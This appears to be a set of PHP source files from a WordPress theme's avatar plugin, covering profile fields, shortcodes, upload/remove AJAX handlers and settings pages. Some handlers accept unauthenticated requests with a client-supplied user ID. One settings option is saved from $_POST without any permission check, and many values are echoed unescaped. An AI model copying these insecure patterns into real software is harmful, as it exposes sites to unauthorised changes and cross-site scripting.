$wpupa_url = get_user_meta($user_id, '_wpupa_url', true);
?>
<style>
#wp_user_profile_avatar_images_existing img {
border-radius: 4px;
}
.user-profile-picture {
display: none;
}
</style>
<h3><?php _e('用户头像', 'wp-user-profile-avatar'); ?></h3>
<table class="form-table">
<tr>
<th>
<label for="wp_user_profile_avatar"><?php _e('头像URL', 'wp-user-profile-avatar'); ?></label>
</th>
<td>
<p>
<input type="text" name="wpupa_url" id="wpupa_url" class="regular-text code" value="<?php echo $wpupa_url; ?>" placeholder="请输入头像URL地址">
</p>
<p><?php _e('或者上传头像', 'wp-user-profile-avatar'); ?></p>
<p id="wp_user_profile_avatar_add_button_existing">
<button type="button" class="button" id="wp_user_profile_avatar_add"><?php _e('选择图片'); ?></button>
<input type="hidden" name="wpupa_attachment_id" id="wpupa_attachment_id" value="<?php echo $wpupa_attachment_id; ?>">
</p>
<?php
$class_hide = 'wp-user-profile-avatar-hide';
if (!empty($wpupa_attachment_id)) {
$class_hide = '';
} else if (!empty($wpupa_url)) {
$class_hide = '';
}
?>
<div id="wp_user_profile_avatar_images_existing">
<p id="wp_user_profile_avatar_preview">
<img src="<?php echo $wpupa_original; ?>" alt="">
<span class="description"><?php _e('原尺寸', 'wp-user-profile-avatar'); ?></span>
</p>
<p id="wp_user_profile_avatar_thumbnail">
<img src="<?php echo $wpupa_thumbnail; ?>" alt="">
<span class="description"><?php _e('缩略图', 'wp-user-profile-avatar'); ?></span>
</p>
<p id="wp_user_profile_avatar_remove_button" class="<?php echo $class_hide; ?>">
<button type="button" class="button" id="wp_user_profile_avatar_remove"><?php _e('移除', 'wp-user-profile-avatar'); ?></button>
</p>
<p id="wp_user_profile_avatar_undo_button">
<button type="button" class="button" id="wp_user_profile_avatar_undo"><?php _e('撤销', 'wp-user-profile-avatar'); ?></button>
</p>
</div>
</td>
</tr>
</table>
<?php
}
/**
* wpupa_save_fields function.
*
* @access public
* @param $user_id
* @return
* @since 1.0
*/
public function wpupa_save_fields($user_id) {
if (current_user_can('edit_user', $user_id)) {
if (isset($_POST['wpupa_url'])) {
$wpupa_url = esc_url_raw($_POST['wpupa_url']);
}
if (isset($_POST['wpupa_attachment_id'])) {
$wpupa_attachment_id = absint($_POST['wpupa_attachment_id']);
}
if (isset($wpupa_url, $wpupa_attachment_id)) {
update_user_meta($user_id, '_wpupa_attachment_id', $wpupa_attachment_id);
update_user_meta($user_id, '_wpupa_url', $wpupa_url);
}
if (!empty($wpupa_attachment_id) || !empty($wpupa_url)) {
update_user_meta($user_id, '_wpupa_default', 'wp_user_profile_avatar');
} else {
update_user_meta($user_id, '_wpupa_default', '');
}
} else {
status_header('403');
die();
}
}
/**
* wpupa_add_buttons function.
*
* @access public
* @param
* @return
* @since 1.0
*/
public function wpupa_add_buttons() {
// Add only in Rich Editor mode
if (get_user_option('rich_editing') == 'true') {
add_filter('mce_external_plugins', array($this, 'wpupa_add_tinymce_plugin'));
add_filter('mce_buttons', array($this, 'wpupa_register_button'));
}
}
/**
* wpupa_register_button function.
*
* @access public
* @param $buttons
* @return
* @since 1.0
*/
public function wpupa_register_button($buttons) {
array_push($buttons, 'separator', 'wp_user_profile_avatar_shortcodes');
return $buttons;
}
/**
* wpupa_add_tinymce_plugin function.
*
* @access public
* @param $plugins
* @return
* @since 1.0
*/
public function wpupa_add_tinymce_plugin($plugins) {
$plugins['wp_user_profile_avatar_shortcodes'] = i_static().'/admin/avatar/js/admin-avatar.min.js';
return $plugins;
}
/**
* thickbox_model_init function.
*
* @access public
* @param
* @return
* @since 1.0
*/
public function thickbox_model_init() {
add_thickbox();
}
/**
* thickbox_model_view function.
*
* @access public
* @param
* @return
* @since 1.0
*/
public function thickbox_model_view() {
include_once (WPUPA_PLUGIN_DIR . '/admin/templates/shortcode-popup.php' );
wp_die();
}
/**
* allow_contributor_uploads function.
* `
* @access public
* @param
* @return
* @since 1.0
*/
public function allow_contributor_subscriber_uploads() {
$contributor = get_role('contributor');
$subscriber = get_role('subscriber');
$wpupa_allow_upload = get_option('wpupa_allow_upload');
if (!empty($contributor)) {
if ($wpupa_allow_upload) {
$contributor->add_cap('upload_files');
} else {
$contributor->remove_cap('upload_files');
}
}
if (!empty($subscriber)) {
if ($wpupa_allow_upload) {
$subscriber->add_cap('upload_files');
} else {
$subscriber->remove_cap('upload_files');
}
}
}
}
new WPUPA_Admin();
| php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/avatar/admin/templates/shortcode-popup.php | admin/avatar/admin/templates/shortcode-popup.php | <div class="wrap wp-user-profile-avatar-shortcode-wrap">
<h2 class="nav-tab-wrapper">
<a href="#settings_user_avatar" class="nav-tab"><?php _e('User Avatar', 'wp-user-profile-avatar'); ?></a>
<a href="#settings_upload_avatar" class="nav-tab"><?php _e('Upload Avatar', 'wp-user-profile-avatar'); ?></a>
</h2>
<div class="admin-setting-left">
<div class="white-background">
<div id="settings_user_avatar" class="settings-panel">
<form name="user_avatar_form" class="user_avatar_form">
<table class="form-table">
<tr>
<th><?php _e('User Name', 'wp-user-profile-avatar'); ?></th>
<td>
<select id="wp_user_id" name="wp_user_id" class="regular-text">
<option value=""><?php _e('Select User', 'wp-user-profile-avatar'); ?>
<?php
foreach (get_users() as $key => $user) {
echo '<option value="' . $user->ID . '">' . $user->display_name . '</option>';
}
?>
</select>
</td>
</tr>
<tr>
<th><?php _e('Size', 'wp-user-profile-avatar'); ?></th>
<td>
<select id="wp_image_size" name="wp_image_size" class="regular-text">
<option value=""><?php _e('None', 'wp-user-profile-avatar'); ?>
<?php
foreach (get_wpupa_image_sizes() as $name => $label) {
echo '<option value="' . $name . '">' . $label . '</option>';
}
?>
</select>
<p class="description"><?php _e('size parameter only work for uploaded avatar not with custom url.', 'wp-user-profile-avatar'); ?></p>
</td>
</tr>
<tr>
<th><?php _e('Alignment', 'wp-user-profile-avatar'); ?></th>
<td>
<select id="wp_image_alignment" name="wp_image_alignment" class="regular-text">
<option value=""><?php _e('None', 'wp-user-profile-avatar'); ?>
<?php
foreach (get_wpupa_image_alignment() as $name => $label) {
echo '<option value="' . $name . '">' . $label . '</option>';
}
?>
</select>
</td>
</tr>
<tr>
<th><?php _e('Link To', 'wp-user-profile-avatar'); ?></th>
<td>
<select id="wp_image_link_to" name="wp_image_link_to" class="regular-text">
<option value=""><?php _e('None', 'wp-user-profile-avatar'); ?>
<?php
foreach (get_wpupa_image_link_to() as $name => $label) {
echo '<option value="' . $name . '">' . $label . '</option>';
}
?>
</select>
<p><input type="hidden" name="wp_custom_link_to" id="wp_custom_link_to" class="regular-text" placeholder="<?php _e('Add custom URL', 'wp-user-profile-avatar') ?>"></p>
</td>
</tr>
<tr>
<th><?php _e('Open link in a new window', 'wp-user-profile-avatar'); ?></th>
<td>
<input type="checkbox" name="wp_image_open_new_window" id="wp_image_open_new_window" value="_blank" class="regular-text">
</td>
</tr>
<tr>
<th><?php _e('Caption', 'wp-user-profile-avatar'); ?></th>
<td>
<input type="text" name="wp_image_caption" id="wp_image_caption" class="regular-text">
</td>
</tr>
<tr>
<td></td>
<td>
<button type="button" class="button-primary" id="user_avatar_form_btn"><?php _e('Insert Shortcode', 'wp-user-profile-avatar'); ?></button>
</td>
</tr>
</table>
</form>
</div>
<div id="settings_upload_avatar" class="settings-panel">
<form name="upload_avatar_form" class="upload-avatar-form">
<table class="form-table">
<tr>
<th><?php _e('Shortcode', 'wp-user-profile-avatar'); ?></th>
<td>
<input type="text" name="upload_avatar_shortcode" id="upload_avatar_shortcode" value="[user_profile_avatar_upload]" class="regular-text" readonly >
</td>
</tr>
<tr>
<td></td>
<td>
<button type="button" class="button-primary" id="upload_avatar_form_btn"><?php _e('Insert Shortcode', 'wp-user-profile-avatar'); ?></button>
</td>
</tr>
</table>
</form>
</div>
</div>
</div>
</div> | php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/avatar/shortcodes/wp-user-profile-avatar-shortcodes.php | admin/avatar/shortcodes/wp-user-profile-avatar-shortcodes.php | <?php
class WPUPA_Shortcodes {
/**
* Constructor - get the plugin hooked in and ready
*/
public function __construct() {
add_shortcode('user_profile_avatar', array($this, 'user_profile_avatar'));
add_shortcode('user_profile_avatar_upload', array($this, 'user_profile_avatar_upload'));
add_shortcode('authorbox_social_info', array($this, 'authorbox_social_info'));
add_action('wp_ajax_nopriv_update_user_avatar', array($this, 'update_user_avatar'));
add_action('wp_ajax_update_user_avatar', array($this, 'update_user_avatar'));
add_action('wp_ajax_nopriv_remove_user_avatar', array($this, 'remove_user_avatar'));
add_action('wp_ajax_remove_user_avatar', array($this, 'remove_user_avatar'));
add_action('wp_ajax_nopriv_undo_user_avatar', array($this, 'undo_user_avatar'));
add_action('wp_ajax_undo_user_avatar', array($this, 'undo_user_avatar'));
}
/**
* author box social information function.
*
* @access public
* @param $atts, $content
* @return
* @since 1.0
*/
public function authorbox_social_info($atts = [], $content = null) {
global $blog_id, $post, $wpdb;
$current_user_id = get_current_user_id();
extract(shortcode_atts(array(
'user_id' => '',
'size' => 'thumbnail',
'align' => 'alignnone',
), $atts));
ob_start();
include_once (WPUPA_PLUGIN_DIR . '/templates/wp-author-box-display.php' );
return ob_get_clean();
}
/**
* user_profile_avatar function.
*
* @access public
* @param $atts, $content
* @return
* @since 1.0
*/
public function user_profile_avatar($atts = [], $content = null) {
global $blog_id, $post, $wpdb;
$current_user_id = get_current_user_id();
extract(shortcode_atts(array(
'user_id' => '',
'size' => 'thumbnail',
'align' => 'alignnone',
'link' => '#',
'target' => '_self',
), $atts));
ob_start();
$image_url = get_wpupa_url($current_user_id, ['size' => $size]);
if ($link == 'image') {
// Get image src
$link = get_wpupa_url($current_user_id, ['size' => 'original']);
} elseif ($link == 'attachment') {
// Get attachment URL
$link = get_attachment_link(get_the_author_meta($wpdb->get_blog_prefix($blog_id) . 'user_avatar', $user_id));
}
include_once (WPUPA_PLUGIN_DIR . '/templates/wp-user-avatar.php' );
return ob_get_clean();
}
/**
* user_profile_avatar_upload function.
*
* @access public
* @param $atts, $content
* @return
* @since 1.0
*/
public function user_profile_avatar_upload($atts = [], $content = null) {
extract(shortcode_atts(array(
), $atts));
ob_start();
if (!is_user_logged_in()) {
echo '<h5><strong style="color:red;">' . __('ERROR: ', 'wp-event-manager-zoom') . '</strong>' . __('You do not have enough priviledge to access this page. Please login to continue.', 'wp-user-profile-avatar') . '</h5>';
return false;
}
$wpupa_allow_upload = get_option('wpupa_allow_upload');
$user_id = get_current_user_id();
$user = new WP_User($user_id);
$user_data = get_userdata($user_id);
if (in_array('contributor', $user_data->roles)) {
$user->add_cap('upload_files');
}
if (in_array('subscriber', $user_data->roles)) {
$user->add_cap('upload_files');
}
wp_enqueue_script('wp-user-profile-avatar-frontend-avatar');
$wpupa_original = get_wpupa_url($user_id, ['size' => 'original']);
$wpupa_thumbnail = get_wpupa_url($user_id, ['size' => 'thumbnail']);
$wpupa_attachment_id = get_user_meta($user_id, '_wpupa_attachment_id', true);
$wpupa_url = get_user_meta($user_id, '_wpupa_url', true);
include_once (WPUPA_PLUGIN_DIR . '/templates/wp-avatar-upload.php' );
return ob_get_clean();
}
/**
* update_user_avatar function.
*
* @access public
* @param
* @return
* @since 1.0
*/
public function update_user_avatar() {
check_ajax_referer('_nonce_user_profile_avatar_security', 'security');
parse_str($_POST['form_data'], $form_data);
//sanitize each of the values of form data
$form_wpupa_url = esc_url_raw($form_data['wpupa_url']);
$form_wpupa_attachment_id = absint($form_data['wpupa_attachment_id']);
$user_id = absint($form_data['user_id']);
$file = $_FILES['user-avatar'];
if (isset($file) && !empty($file)) {
$post_id = 0;
//sanitize each of the values of file data
$file_name = sanitize_file_name($file['name']);
$file_type = sanitize_text_field($file['type']);
$file_tmp_name = sanitize_text_field($file['tmp_name']);
$file_size = absint($file['size']);
// Upload file
$overrides = array('test_form' => false);
$uploaded_file = $this->handle_upload($file, $overrides);
$attachment = array(
'post_title' => $file_name,
'post_content' => '',
'post_type' => 'attachment',
'post_parent' => null, // populated after inserting post
'post_mime_type' => $file_type,
'guid' => $uploaded_file['url']
);
$attachment['post_parent'] = $post_id;
$attach_id = wp_insert_attachment($attachment, $uploaded_file['file'], $post_id);
$attach_data = wp_generate_attachment_metadata($attach_id, $uploaded_file['file']);
if (isset($user_id, $attach_id)) {
$result = wp_update_attachment_metadata($attach_id, $attach_data);
update_user_meta($user_id, '_wpupa_attachment_id', $attach_id);
}
} else {
if (isset($user_id, $form_wpupa_attachment_id))
update_user_meta($user_id, '_wpupa_attachment_id', $form_wpupa_attachment_id);
}
if (isset($user_id, $form_wpupa_url))
update_user_meta($user_id, '_wpupa_url', $form_wpupa_url);
if (!empty($form_wpupa_attachment_id) || $form_wpupa_url) {
update_user_meta($user_id, '_wpupa_default', 'wp_user_profile_avatar');
} else {
update_user_meta($user_id, '_wpupa_default', '');
}
$wpupa_attachment_id = get_user_meta($user_id, '_wpupa_attachment_id', true);
$wpupa_url = get_user_meta($user_id, '_wpupa_url', true);
if (empty($wpupa_attachment_id) && empty($wpupa_url)) {
$wpupa_original = '';
$wpupa_thumbnail = '';
$message = __('Error! Select Image', 'wp-user-profile-avatar');
$class = 'wp-user-profile-avatar-error';
} else {
$wpupa_original = get_wpupa_url($user_id, ['size' => 'original']);
$wpupa_thumbnail = get_wpupa_url($user_id, ['size' => 'thumbnail']);
$message = __('Successfully Updated Avatar', 'wp-user-profile-avatar');
$class = 'wp-user-profile-avatar-success';
}
echo json_encode(['avatar_original' => $wpupa_original, 'avatar_thumbnail' => $wpupa_thumbnail, 'message' => $message, 'class' => $class]);
wp_die();
}
/**
* remove_user_avatar function.
*
* @access public
* @param
* @return
* @since 1.0
*/
function remove_user_avatar() {
check_ajax_referer('_nonce_user_profile_avatar_security', 'security');
parse_str($_POST['form_data'], $form_data);
//sanitize each of the values of form data
$wpupa_url = esc_url_raw($form_data['wpupa_url']);
$wpupa_attachment_id = absint($form_data['wpupa_attachment_id']);
$user_id = absint($form_data['user_id']);
if (isset($user_id)) {
update_user_meta($user_id, '_wpupa_attachment_id', '');
update_user_meta($user_id, '_wpupa_url', '');
update_user_meta($user_id, '_wpupa_default', '');
//delete also attachment
wp_delete_attachment($wpupa_attachment_id, true);
}
$wpupa_original = get_wpupa_url($user_id, ['size' => 'original']);
$wpupa_thumbnail = get_wpupa_url($user_id, ['size' => 'thumbnail']);
$message = __('Successfully Removed Avatar', 'wp-user-profile-avatar');
$class = 'wp-user-profile-avatar-success';
echo json_encode(['avatar_original' => $wpupa_original, 'avatar_thumbnail' => $wpupa_thumbnail, 'message' => $message, 'class' => $class]);
wp_die();
}
/**
* undo_user_avatar function.
*
* @access public
* @param
* @return
* @since 1.0
*/
function undo_user_avatar() {
check_ajax_referer('_nonce_user_profile_avatar_security', 'security');
parse_str($_POST['form_data'], $form_data);
//sanitize each of the values of form data
$wpupa_url = esc_url_raw($form_data['wpupa_url']);
$wpupa_attachment_id = absint($form_data['wpupa_attachment_id']);
$user_id = absint($form_data['user_id']);
if (isset($user_id, $wpupa_attachment_id, $wpupa_url)) {
update_user_meta($user_id, '_wpupa_attachment_id', $wpupa_attachment_id);
update_user_meta($user_id, '_wpupa_url', $wpupa_url);
}
if (!empty($wpupa_attachment_id) || $wpupa_url) {
update_user_meta($user_id, '_wpupa_default', 'wp_user_profile_avatar');
} else {
update_user_meta($user_id, '_wpupa_default', '');
}
$wpupa_original = get_wpupa_url($user_id, ['size' => 'original']);
$wpupa_thumbnail = get_wpupa_url($user_id, ['size' => 'thumbnail']);
$message = __('Successfully Undo Avatar', 'wp-user-profile-avatar');
$class = 'wp-user-profile-avatar-success';
echo json_encode(['avatar_original' => $wpupa_original, 'avatar_thumbnail' => $wpupa_thumbnail, 'message' => $message, 'class' => $class]);
wp_die();
}
/**
* handle_upload function.
*
* @access public
* @param $file_handler, $overrides
* @return
* @since 1.0
*/
function handle_upload($file_handler, $overrides) {
require_once( ABSPATH . 'wp-admin/includes/image.php' );
require_once( ABSPATH . 'wp-admin/includes/file.php' );
require_once( ABSPATH . 'wp-admin/includes/media.php' );
$upload = wp_handle_upload($file_handler, $overrides);
return $upload;
}
}
new WPUPA_Shortcodes();
| php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/avatar/shortcodes/wp-author-social-info-shortcodes.php | admin/avatar/shortcodes/wp-author-social-info-shortcodes.php | <?php
/*
* Class to define author box social info by using shortcode
*/
class WPUPA_authorbox_socialinfo_Shortcodes {
/**
* Constructor
*/
public function __construct() {
add_shortcode('authorbox_social_link', array($this, 'authorbox_social_link'));
}
/**
* authorbox_social_link function
*
* @access public
* @param $atts
* @return
* @since 1.0
*/
function authorbox_social_link() {
$id = get_current_user_id();
$details = array(
);
ob_start();
include_once (WPUPA_PLUGIN_DIR . '/templates/wp-author-box-social-info.php' );
return ob_get_clean();
}
}
new WPUPA_authorbox_socialinfo_Shortcodes();
| php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/avatar/shortcodes/wp-user-display.php | admin/avatar/shortcodes/wp-user-display.php | <?php
/*
* Class to define user details by using shortcode
*/
class WPUPA_User_Shortcodes {
/**
* Constructor
*/
public function __construct() {
add_shortcode('user_display', array($this, 'user_display'));
}
/**
* user_display function
*
* @access public
* @param $atts
* @return
* @since 1.0
*/
function user_display() {
$id = get_current_user_id();
$details = array(
'first_name' => get_the_author_meta('first_name', $id),
'last_name' => get_the_author_meta('last_name', $id),
'description' => get_the_author_meta('description', $id),
'email' => get_the_author_meta('email', $id),
'sabox_social_links' => get_the_author_meta('sabox_social_links', $id),
'sabox-profile-image' => get_the_author_meta('sabox-profile-image', $id),
);
ob_start();
include_once (WPUPA_PLUGIN_DIR . '/templates/wp-display-user.php' );
return ob_get_clean();
}
}
new WPUPA_User_Shortcodes();
| php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/avatar/includes/wp-user-profile-avatar-install.php | admin/avatar/includes/wp-user-profile-avatar-install.php | <?php
// Exit if accessed directly
if (!defined('ABSPATH')) {
exit;
}
/**
* WPUPA_Install class.
*/
class WPUPA_Install {
/**
* install function.
*
* @access public static
* @param
* @return
* @since 1.0
*/
public static function install() {
update_option('wpupa_tinymce', 1);
update_option('wpupa_show_avatars', 1);
update_option('wpupa_rating', 'G');
update_option('wpupa_default', 'mystery');
update_option('wpupa_version', WPUPA_VERSION);
}
}
| php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/avatar/includes/wp-user-profile-avatar-user.php | admin/avatar/includes/wp-user-profile-avatar-user.php | <?php
// Exit if accessed directly
if (!defined('ABSPATH')) {
exit;
}
/**
* WPUPA_User class.
*/
class WPUPA_User {
/**
* Constructor - get the plugin hooked in and ready
*/
public function __construct() {
add_filter('get_avatar_url', array($this, 'get_user_avatar_url'), 10, 3);
}
/**
* get_user_avatar_url function.
*
* @access public
* @param $url, $id_or_email, $args
* @return
* @since 1.0
*/
public function get_user_avatar_url($url, $id_or_email, $args) {
$wpupa_disable_gravatar = get_option('wpupa_disable_gravatar');
$wpupa_show_avatars = get_option('wpupa_show_avatars');
$wpupa_default = get_option('wpupa_default');
if (!$wpupa_show_avatars) {
return false;
}
$user_id = null;
if (is_object($id_or_email)) {
if (!empty($id_or_email->comment_author_email)) {
$user_id = $id_or_email->user_id;
}
} else {
if (is_email($id_or_email)) {
$user = get_user_by('email', $id_or_email);
if ($user) {
$user_id = $user->ID;
}
} else {
$user_id = $id_or_email;
}
}
// First checking custom avatar.
if (check_wpupa_url($user_id)) {
$url = get_wpupa_url($user_id, ['size' => 'thumbnail']);
} else if ($wpupa_disable_gravatar) {
$url = get_wpupa_default_avatar_url(['size' => 'thumbnail']);
} else {
$has_valid_url = check_wpupa_gravatar($id_or_email);
if (!$has_valid_url) {
$url = get_wpupa_default_avatar_url(['size' => 'thumbnail']);
} else {
if ($wpupa_default != 'wp_user_profile_avatar' && !empty($user_id)) {
$url = get_wpupa_url($user_id, ['size' => 'thumbnail']);
}
}
}
return $url;
}
}
new WPUPA_User();
| php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/avatar/templates/wp-user-avatar.php | admin/avatar/templates/wp-user-avatar.php | <?php
/**
* user profile shortcode
*/
if (!defined('ABSPATH'))
exit;
?>
<div class="wp-user-profile-avatar">
<a href="<?php echo $link; ?>" target="<?php echo $target; ?>" class="wp-user-profile-avatar-link">
<img src="<?php echo $image_url; ?>" class="size-<?php echo $size; ?> <?php echo $align; ?>" alt="<?php echo $content; ?>" />
</a>
<p class="caption-text <?php echo $align; ?>"><?php echo $content; ?></p>
</div> | php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/avatar/templates/comments-settings-page.php | admin/avatar/templates/comments-settings-page.php | <?php
/**
* Setting page.
*/
if (!defined('ABSPATH')) {
exit;
}
function update_options($options) {
update_option('disable_comments_options', $options);
}
$typeargs = array('public' => true);
$options = get_option('disable_comments_options', array());
$modified_types = array();
$disabled_post_types = get_disabled_post_types();
if (!empty($disabled_post_types)) {
foreach ($disabled_post_types as $type) {
// we need to know what native support was for later.
if (post_type_supports($type, 'comments')) {
$modified_types[] = $type;
remove_post_type_support($type, 'comments');
remove_post_type_support($type, 'trackbacks');
}
}
}
$types = get_post_types($typeargs, 'objects');
// foreach ( array_keys( $types ) as $type ) {
// if ( ! in_array( $type, $modified_types ) && ! post_type_supports( $type, 'comments' ) ) { // the type doesn't support comments anyway.
// // unset( $types[ $type ] );
// }
// }
if (isset($_POST['submit'])) {
check_admin_referer('disable-comments-admin');
$options['remove_everywhere'] = ( $_POST['mode'] == 'remove_everywhere' );
if ($options['remove_everywhere']) {
$disabled_post_types = array_keys($types);
} else {
$disabled_post_types = empty($_POST['disabled_types']) ? array() : (array) $_POST['disabled_types'];
}
$disabled_post_types = array_intersect($disabled_post_types, array_keys($types));
$options['disabled_post_types'] = $disabled_post_types;
// Extra custom post types.
if (!empty($_POST['extra_post_types'])) {
$extra_post_types = array_filter(array_map('sanitize_key', explode(',', $_POST['extra_post_types'])));
$options['extra_post_types'] = array_diff($extra_post_types, array_keys($types)); // Make sure we don't double up builtins.
}
update_options($options);
echo '<div id="message" class="updated"><p>' . __('Options updated. Changes to the Admin Menu and Admin Bar will not appear until you leave or reload this page.', 'disable-comments') . '</p></div>';
}
?>
<div class="wrap">
<h1><?php _ex('Disable Comments', 'settings page title', 'disable-comments'); ?></h1>
<form action="" method="post" id="disable-comments">
<ul>
<li><label for="remove_everywhere"><input type="radio" id="remove_everywhere" name="mode" value="remove_everywhere" <?php checked(isset($options['remove_everywhere'])); ?> /> <strong><?php _e('Everywhere', 'disable-comments'); ?></strong>: <?php _e('Disable all comment-related controls and settings in WordPress.', 'disable-comments'); ?></label>
<p class="indent"><?php printf(__('%1$s: This option is global and will affect your entire site. Use it only if you want to disable comments <em>everywhere</em>. A complete description of what this option does is <a href="%2$s" target="_blank">available here</a>.', 'disable-comments'), '<strong style="color: #900">' . __('Warning', 'disable-comments') . '</strong>', 'https://wordpress.org/plugins/disable-comments/other_notes/'); ?></p>
</li>
<li><label for="selected_types"><input type="radio" id="selected_types" name="mode" value="selected_types" <?php checked(!$options['remove_everywhere']); ?> /> <strong><?php _e('On certain post types', 'disable-comments'); ?></strong>:</label>
<p></p>
<ul class="indent" id="listoftypes">
<?php
if (isset($options['disabled_post_types']) && is_array($options['disabled_post_types'])) {
$disabled_post_types = $options['disabled_post_types'];
} else {
$disabled_post_types = [];
}
foreach ($types as $k => $v) {
echo "<li><label for='post-type-$k'><input type='checkbox' name='disabled_types[]' value='$k' " . checked(in_array($k, $disabled_post_types), true, false) . " id='post-type-$k'> {$v->labels->name}</label></li>";
}
?>
</ul>
<p class="indent"><?php _e('Disabling comments will also disable trackbacks and pingbacks. All comment-related fields will also be hidden from the edit/quick-edit screens of the affected posts. These settings cannot be overridden for individual posts.', 'disable-comments'); ?></p>
</li>
</ul>
<?php wp_nonce_field('disable-comments-admin'); ?>
<p class="submit"><input class="button-primary" type="submit" name="submit" value="<?php _e('Save Changes', 'disable-comments'); ?>"></p>
</form>
</div>
<script>
jQuery(document).ready(function ($) {
function disable_comments_uihelper() {
var indiv_bits = $("#listoftypes, #extratypes");
if ($("#remove_everywhere").is(":checked"))
indiv_bits.css("color", "#888").find(":input").attr("disabled", true);
else
indiv_bits.css("color", "#000").find(":input").attr("disabled", false);
}
$("#disable-comments :input").change(function () {
$("#message").slideUp();
disable_comments_uihelper();
});
disable_comments_uihelper();
});
</script>
| php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/avatar/templates/wp-avatar-social profile-picture.php | admin/avatar/templates/wp-avatar-social profile-picture.php | <?php
/**
* Author Social Profile Picture page.
*
* @package Author Social Profile Picture page.
*/
if (!defined('ABSPATH')) {
exit;
}
?>
<?php
function wp_avatar_social_profile_picture() {
global $pagenow;
if ('profile.php' == $pagenow || 'user-edit.php' == $pagenow)
wp_register_script('wp-avatar-social-profile-picture', i_static().'/admin/avatar/js/wp-avatar.js', array('jquery'), WPUPA_VERSION, true);
}
add_action('wp_enqueue_scripts', 'wp_avatar_social_profile_picture');
// function wp_avatar_users_menu() {
// add_users_page('Avatar Social Picture', 'Avatar Social Picture', 'activate_plugins', 'avatar-social-picture', 'wp_user_admin');
// }
//
// add_action('admin_menu', 'wp_avatar_users_menu');
function wp_user_admin() {
$wp_avatar_add_social_picture = get_option('wp_avatar_add_social_picture', 'read')
?>
<form id="wp-avatar-settings" method="post" action="">
<h3><?php _e('WP Avatar User Role Settings', 'wp-user-profile-avatar'); ?></h3>
<table class="form-table">
<tr>
<th>
<label for="wp-avatar-capabilty">Role Required</label>
</th>
<td>
<select id="wp-avatar-add-social-picture" name="wp-avatar-add-social-picture">
<option value="read" <?php selected($wp_avatar_add_social_picture, 'read', false); ?> >订阅者</option>
<option value="edit_posts" <?php selected($wp_avatar_add_social_picture, 'edit_posts', false); ?> >贡献者</option>
<option value="edit_published_posts"<?php selected($wp_avatar_add_social_picture, 'edit_published_posts', false); ?> >作者</option>
<option value="moderate_comments" <?php selected($wp_avatar_add_social_picture, 'moderate_comments', false); ?> >编辑</option>
<option value="activate_plugins" <?php selected($wp_avatar_add_social_picture, 'activate_plugins', false); ?> >管理员</option>
</select>
</td>
</tr>
</table>
<p class="submit">
<input type="submit" class="button button-primary" id="submit" value="Save Changes">
</p>
</form>
<?php
}
// Saving the WP Avatar social profile settings details.
if (isset($_POST['wp-avatar-add-social-picture']))
update_option('wp_avatar_add_social_picture', $_POST['wp-avatar-add-social-picture']);
function wp_user_add_extra_profile_picture_fields($socialprofile) {
$wp_avatar_add_social_picture = get_option('wp_avatar_add_social_picture', 'read');
if (!current_user_can($wp_avatar_add_social_picture))
return;
$wp_user_social_profile = get_user_meta($socialprofile->ID, 'wp_user_social_profile', true);
$wp_social_fb_profile = get_user_meta($socialprofile->ID, 'wp_social_fb_profile', true);
$wp_social_gplus_profile = get_user_meta($socialprofile->ID, 'wp_social_gplus_profile', true);
?>
<!-- <h3><?php _e('WP Avatar User Role Settings', 'wp-user-profile-avatar'); ?></h3>
<table class="form-table">
<tr>
<th>
<label for="facebook-profile">Facebook User ID(numeric)</label>
</th>
<td>
<input type="text" name="fb-profile" id="fb-profile" value=" <?php echo $wp_social_fb_profile; ?>" class="regular-text" />
<span><a href="http://findmyfacebookid.com/" target="_blank">Find your facebook id here</a></span>
</td>
<tr>
<th>
<label for="use-fb-profile">Use Facebook Profile as Avatar</label>
</th>
<td>
<input type="checkbox" name="wp-user-social-profile" value="wp-facebook" <?php checked($wp_user_social_profile, 'wp-facebook', false) ?> >
</td>
</tr>
<tr>
<th>
<label for="gplus-profile">Google+ id</label>
</th>
<td>
<input type="text" name="gplus-profile" id="gplus-profile" value=" <?php echo $wp_social_gplus_profile; ?>" class="regular-text" />
</td>
</tr>
<tr>
<th>
<label for="use-gplus-profile">Use Google+ Profile as Avatar</label>
</th>
<td>
<input type="checkbox" name="wp-user-social-profile" value="wp-gplus" <?php checked($wp_user_social_profile, 'wp-gplus', false) ?> >
</td>
</tr>
<tr>
<th>
<label for="gplus-clear-cache">Clear Google+ Cache</label></th>
<td>
<input type="button" name="wp-gplus-clear" value="Clear Cache" user="<?php echo $socialprofile->ID; ?>">
<span id="msg"></span>
</td>
</tr>
</table> -->
<?php
}
